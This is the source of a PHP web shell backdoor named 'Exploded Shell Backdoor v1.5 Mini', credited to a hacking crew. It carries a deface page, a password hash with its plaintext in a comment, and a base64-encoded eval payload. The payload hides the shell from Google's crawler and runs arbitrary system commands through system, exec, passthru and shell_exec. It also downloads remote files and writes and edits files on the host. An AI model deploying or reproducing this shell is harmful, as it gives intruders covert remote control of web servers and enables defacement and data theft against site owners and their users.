@ini_set('output_buffering',0); // //@ini_set('display_errors', 0); // //@ini_set('error_reporting', 0); // /* ##################################################### ## Name : Exploded Shell Backdoor ## ## Version : v1.5 Mini ## ## Author : Muhammad Supiani a.k.a ./Port22 ## ## Contact : Port22cyber@gmail.com ## ## Report : Port22exploded@gmail.com ## ## (c) 2017 www.security-exploded.orgs ## ##################################################### */ $pass = "9e3e935b7a61f3faf5afd5d9082936db"; // Password Encrypted By MD5, pass is:" m1x " $title = "Security Exploded Shell Backdoor"; // Title $color = "grey"; // Color $background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background $logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo $music = ""; // Music, isi url music elu :v *cuman bisa didengerin di "about" :v , malas gw taroh di depan, soalnya kalok ada yg nggak suka :v $script_deface = "<title>Hacked By ./Port22</title>Hacked by ./Port22
Crew's : Milton | Aris Dot ID | ./r00t_NTx | ./Port22 | MyMind404 | ./KriZ | ./BlackJoker |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt) /* Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P */ eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaW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HJldHVybiAkYnVmZjsKfQoKZnVuY3Rpb24gdWt1cmFuKCRmaWxlKXsKICAgIGlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7CiAgICAgICAgaWYoJHNpemUgPD0gMTAyNCkgcmV0dXJuICRzaXplOwogICAgICAgIGVsc2V7CiAgICAgICAgICAgIGlmKCRzaXplIDw9IDEwMjQqMTAyNCkgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0LDIpOzsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUga2IiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0IC8gMTAyNCwyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOyAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlIHJldHVybiAiPz8/IjsKfQoKZnVuY3Rpb24gZXhlKCRjbWQpewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KICAgIGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsJHJlc3VsdHMpOwogICAgICAgICRidWZmID0gIiI7CiAgICAgICAgZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KXsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfQogICAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKICAgICAgICAkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0KfQoKZnVuY3Rpb24gdHVsaXMoJGZpbGUsJHRleHQpewogICAgJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkKICAgICB7CiAgICAgICAgIEBmcHV0cygkZmlsZXosJHRleHR6KTsKICAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICAgfQp9CgpmdW5jdGlvbiBhbWJpbCgkbGluaywkZmlsZSkgeyAKICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpewogICAgICAgd2hpbGUoIWZlb2YoJGZwKSkgeyAKICAgICAgICAgICAgJGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpOyAKICAgICAgICB9IAogICAgICAgIEBmY2xvc2UoJGZwKTsgCiAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Iik7IAogICAgICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgICAgICBAZmNsb3NlKCRmcDIpOyAKICAgfQp9CgpmdW5jdGlvbiB3aGljaCgkcHIpewogICAgJHBhdGggPSBleGUoIndoaWNoICRwciIpOwogICAgaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gdHJpbSgkcGF0aCk7IH0gZWxzZSB7IHJldHVybiB0cmltKCRwcik7IH0KfQoKZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXsKICAgICR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ogIH0KICAgIAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpe0Bpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydzYXZlYXMnXTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOwogICAgICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTsKICAgICAgICAgICAgICAgIGlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7CiAgICAgICAgICAgICAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZmlsZXopOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7CiAgICAgICAgfQogICAgICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7CiAgICAgICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmaWxleikpewogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfQogICA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